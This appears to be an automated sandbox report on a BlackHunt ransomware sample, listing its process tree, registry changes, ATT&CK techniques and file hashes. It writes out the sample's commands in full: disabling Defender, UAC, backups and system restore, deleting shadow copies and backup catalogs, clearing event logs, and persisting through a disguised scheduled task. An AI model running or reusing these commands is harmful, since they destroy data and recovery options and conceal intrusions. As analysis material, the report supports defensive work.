description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe"C:\Users\Admin\AppData\Local\Temp\04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1672 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3068 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2716 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2864
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵PID:2620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2628
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2932 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:1976
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2564
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2808
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2308
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2896
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2788
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2200
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1548
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2632
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2292
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2852
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1532
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2600
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1344
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2660
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2204
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1452
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2288
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:840
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2400
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1484
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1436
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2652
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2888
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1900
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1788
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2236
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1532
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2532
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1628
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2156
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1688
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1092
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1940
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1800
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2892
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:664
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1520
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1260
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2024
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:436
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵
- Modifies registry class
PID:2620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe" /F2⤵PID:868
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe" /F3⤵
- Creates scheduled task(s)
PID:1980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2340
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:344
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2084
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1624
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2000
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2320
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2948
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2780
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2556
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:312
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2144
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2336
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2476
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2260
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:1580
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:3060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2472
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:2700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:3024
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:1608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:1652
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:624
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:3008
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2756
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:2740
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:4036
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:344
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:2184
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2176
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1532
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2496
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1872
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1824
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2616
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2656
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2336
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1548
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1436
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:1736
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:1456
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:1780
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:780
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:1300
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:1900
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2748
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1352
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:228
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:1624
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:2292
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:1928
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:2076
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:1384
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:3096
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:3200
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe"2⤵
- Deletes itself
PID:1960 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:3192
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2980
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2692
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2688
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2988
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD5d16db62cdbbcb4c0fc02c08eec647c58
SHA16260e1a4b852379a91280f6b7074526f95d7dd9b
SHA2561292c400ed7912f0b4e5b563c0ddce454b40496a61750b8d83667fff3f7c16a9
SHA51203b3545f51ae6cfb3dbe612253970c36654e77eb5d791b6ee5de931a107450a845e1dc4c9a09713fd6dec6c1fb1056537d2e35058834a5f223d7478d9a1893c1
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Filesize
12KB
MD5906668fa972541cc8930f3772282d3ae
SHA187d4f042aa13ade246596398b0ffa0d3dc61fe01
SHA2562bcec3278172a9686c323f6bdfdbb57e7c9d24e7a39d826efbb16beb8f8f7fa5
SHA5126d41afd0a414bcc74e7b5850ad0e22099af02848181ad9967f44f6ea851af56c634237cba48f6868439947d1c3ccf9f911685b78bfd2fde69788b5ba70134340
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Filesize
684B
MD5208d20f48ee639d959c3a141a4f4605b
SHA1d8739ae2708485d28367d33e9c3b6d1bf7c4a287
SHA25667e45d58bf19915af39faf1ce2fbd19477d26180c62e28b7d1a202e7b62d8c92
SHA512c764e841be6a6f5dd47ac191e25e8fca03fa6d4188293026785cdea5be6b4fc951aaa96d1df76cc14a12729c288feb789f501913be7e357e3c95e2ba7429b31f